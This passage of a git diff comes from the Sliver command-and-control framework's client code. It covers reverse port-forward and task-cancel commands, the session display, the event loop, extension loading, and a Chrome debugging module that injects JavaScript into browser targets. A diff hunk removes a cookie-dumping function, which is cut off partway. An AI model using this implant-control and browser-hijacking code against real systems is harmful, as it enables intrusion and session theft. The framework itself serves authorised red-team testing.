it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-74
View File
@@ -1,74 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+3 -6
View File
@@ -130,9 +130,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -141,7 +140,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
@@ -179,7 +177,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -188,8 +186,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
} else {
-4
View File
@@ -157,8 +157,6 @@ func emojiState(state string) string {
return "⏳"
case "failed":
return "❌"
case "canceled":
return "🚫"
default:
return "❓"
}
@@ -215,8 +213,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
// ---------------------
// Exec commands
// ---------------------
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
fallthrough
case sliverpb.MsgExecuteAssemblyReq:
execAssembly := &sliverpb.ExecuteAssembly{}
err := proto.Unmarshal(task.Response, execAssembly)
-60
View File
@@ -1,60 +0,0 @@
package tasks
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
idArg := ctx.Args.String("id")
var task *clientpb.BeaconTask
var err error
if idArg == "" {
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := []*clientpb.BeaconTask{}
for _, task := range beaconTasks.Tasks {
if task.State == "pending" {
tasks = append(tasks, task)
}
}
if len(tasks) == 0 {
con.PrintErrorf("No pending tasks for beacon\n")
return
}
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if task != nil {
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Task %s canceled\n", task.ID)
}
}
-2
View File
@@ -97,8 +97,6 @@ func prettyState(state string) string {
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
case "canceled":
return console.Bold + console.Gray + state + console.Normal
default:
return state
}
@@ -1,27 +1,10 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"io"
"io/ioutil"
"net/http"
"os"
"path"
@@ -111,7 +94,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
return err
}
defer file.Close()
data, err := io.ReadAll(file)
data, err := ioutil.ReadAll(file)
if err != nil {
return err
}
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
-18
View File
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
+1 -1
View File
@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
return sortedContents[i].Path < sortedContents[j].Path
})
for _, content := range sortedContents {
tw.AppendRow(table.Row{
tw.AppendHeader(table.Row{
content.Path,
content.ContentType,
content.Size,
+4 -74
View File
@@ -44,7 +44,6 @@ import (
"github.com/desertbit/go-shlex"
"github.com/desertbit/grumble"
"github.com/fatih/color"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
)
@@ -92,7 +91,6 @@ type SliverConsoleClient struct {
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveTarget *ActiveTarget
EventListeners *sync.Map
BeaconTaskCallbacks map[string]BeaconTaskCallback
BeaconTaskCallbacksMutex *sync.Mutex
IsServer bool
@@ -122,7 +120,6 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
observers: map[int]Observer{},
observerID: 0,
},
EventListeners: &sync.Map{},
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
BeaconTaskCallbacksMutex: &sync.Mutex{},
IsServer: isServer,
@@ -139,7 +136,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
con.App.SetPrompt(con.GetPrompt())
})
go con.startEventLoop()
go con.EventLoop()
go core.TunnelLoop(rpc)
err := con.App.Run()
@@ -149,7 +146,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
return err
}
func (con *SliverConsoleClient) startEventLoop() {
func (con *SliverConsoleClient) EventLoop() {
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
@@ -161,10 +158,7 @@ func (con *SliverConsoleClient) startEventLoop() {
return
}
go con.triggerEventListeners(event)
// Trigger event based on type
echoed := false // Only echo the event once
switch event.EventType {
case consts.CanaryEvent:
@@ -174,7 +168,6 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
}
echoed = true
case consts.WatchtowerEvent:
msg := string(event.Data)
@@ -184,19 +177,15 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
}
echoed = true
case consts.JoinedEvent:
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
echoed = true
case consts.LeftEvent:
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
echoed = true
case consts.JobStoppedEvent:
job := event.Job
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
echoed = true
case consts.SessionOpenedEvent:
session := event.Session
@@ -212,14 +201,12 @@ func (con *SliverConsoleClient) startEventLoop() {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
}
echoed = true
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
echoed = true
case consts.SessionClosedEvent:
session := event.Session
@@ -242,7 +229,6 @@ func (con *SliverConsoleClient) startEventLoop() {
}
con.PrintEventInfof("Removed session %s from Operator", session.Name)
}
echoed = true
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
@@ -261,46 +247,18 @@ func (con *SliverConsoleClient) startEventLoop() {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
echoed = true
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
echoed = true
}
con.triggerReactions(event)
// Only render if we echoed the event
if echoed {
con.Printf(Clearln + con.GetPrompt())
bufio.NewWriter(con.App.Stdout()).Flush()
}
con.Printf(Clearln + con.GetPrompt())
bufio.NewWriter(con.App.Stdout()).Flush()
}
}
func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
listener := make(chan *clientpb.Event, 100)
listenerID, _ := uuid.NewV4()
con.EventListeners.Store(listenerID.String(), listener)
return listenerID.String(), listener
}
func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
value, ok := con.EventListeners.LoadAndDelete(listenerID)
if ok {
close(value.(chan *clientpb.Event))
}
}
func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
con.EventListeners.Range(func(key, value interface{}) bool {
listener := value.(chan *clientpb.Event)
listener <- event // Do not block while sending the event to the listener
return true
})
}
func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
reactions := core.Reactions.On(event.EventType)
if len(reactions) == 0 {
@@ -567,34 +525,6 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
// FormatDateDelta - Generate formatted date string of the time delta between then and now
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
nextTime := t.Format(time.UnixDate)
var interval string
if t.Before(time.Now()) {
if includeDate {
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
} else {
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
}
} else {
if includeDate {
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
} else {
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
}
}
return interval
}
//
// -------------------------- [ Active Target ] --------------------------
//
+2 -16
View File
@@ -88,15 +88,6 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
AcknowledgeBuildEvent = "external-acknowledge"
ExternalBuildFailedEvent = "external-build-failed"
ExternalBuildCompletedEvent = "external-build-completed"
// WireGuardNewPeer - New Wireguard peer added
WireGuardNewPeer = "wireguard-newpeer"
)
// Commands
@@ -113,7 +104,6 @@ const (
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
CancelStr = "cancel"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
@@ -233,9 +223,8 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
ReactionStr = "reaction"
@@ -255,9 +244,6 @@ const (
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
CursedCookies = "cookies"
BuildersStr = "builders"
)
// Groups
+103
View File
@@ -0,0 +1,103 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
)
const (
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func AddExtension(ext *ExtensionManifest) {
loadedExtensions[ext.CommandName] = ext
}
func GetLoadedExtension(name string) (*ExtensionManifest, error) {
if ext, ok := loadedExtensions[name]; ok {
return ext, nil
}
return nil, fmt.Errorf("extension not found: %s", name)
}
func GetExtensions() []*ExtensionManifest {
extensions := []*ExtensionManifest{}
for _, ext := range loadedExtensions {
extensions = append(extensions, ext)
}
return extensions
}
func (e *ExtensionManifest) GetFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
+145
View File
@@ -0,0 +1,145 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/util"
)
// Install an extension from a directory
func InstallFromDir(extLocalPath string) error {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
return fmt.Errorf("error reading %s: %s", ManifestFileName, err)
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
return fmt.Errorf("error parsing %s: %s", ManifestFileName, err)
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
confirm := false
msg := fmt.Sprintf("Extension '%s' already exists. Overwrite current install?", manifest.CommandName)
prompt := &survey.Confirm{Message: msg}
survey.AskOne(prompt, &confirm)
if !confirm {
return err
}
forceRemoveAll(installPath)
}
err = os.MkdirAll(installPath, 0o700)
if err != nil {
return fmt.Errorf("error creating extension directory: %s", err)
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
forceRemoveAll(installPath)
return fmt.Errorf("error writing %s: %s", ManifestFileName, err)
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
forceRemoveAll(installPath)
return fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err)
}
}
}
return nil
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool) (*string, error) {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
return nil, fmt.Errorf("failed to read %s from '%s': %s", ManifestFileName, extLocalPath, err)
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
return nil, fmt.Errorf("failed to parse %s: %s", ManifestFileName, err)
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
confirm := false
msg := fmt.Sprintf("Extension '%s' already exists. Overwrite current install?", manifest.CommandName)
prompt := &survey.Confirm{Message: msg}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, err
}
}
forceRemoveAll(installPath)
}
// con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
return nil, fmt.Errorf("failed to create extension directory: %s", err)
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
forceRemoveAll(installPath)
return nil, fmt.Errorf("failed to write %s: %s", ManifestFileName, err)
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path)
if err != nil {
forceRemoveAll(installPath)
return nil, fmt.Errorf("failed to install file: %s", err)
}
}
}
return &installPath, err
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+168
View File
@@ -0,0 +1,168 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
func LoadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, request *commonpb.Request, rpc rpcpb.SliverRPCClient) error {
var extensionList []string
binPath, err := ext.GetFileForTarget(ext.CommandName, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: request,
})
if err != nil {
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, request, rpc); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, request, rpc); errRegister != nil {
return errRegister
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, request *commonpb.Request, rpc rpcpb.SliverRPCClient) error {
registerResp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Request: request,
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(goos string, goarch string, depName string, request *commonpb.Request, rpc rpcpb.SliverRPCClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.GetFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, request, rpc)
}
return fmt.Errorf("missing dependency %s", depName)
}
+50
View File
@@ -0,0 +1,50 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/util"
)
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+1 -72
View File
@@ -3,17 +3,14 @@ package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -27,11 +24,8 @@ import (
"log"
"net/http"
"net/url"
"time"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
@@ -164,10 +158,7 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
evalTasks := chromedp.Tasks{
chromedp.Evaluate(jsCode, &result),
}
err := chromedp.Run(extCtx, evalTasks)
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
return result, err
}
@@ -269,68 +260,6 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
return extensionContexts, nil
}
// DumpCookies - Dump all cookies from the remote debug target
func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
var cookies []*network.Cookie
var err error
dumpCookieTasks := chromedp.Tasks{
// read network values
chromedp.ActionFunc(func(ctx context.Context) error {
cookies, err = network.GetAllCookies().Do(ctx)
if err != nil {
return err
}
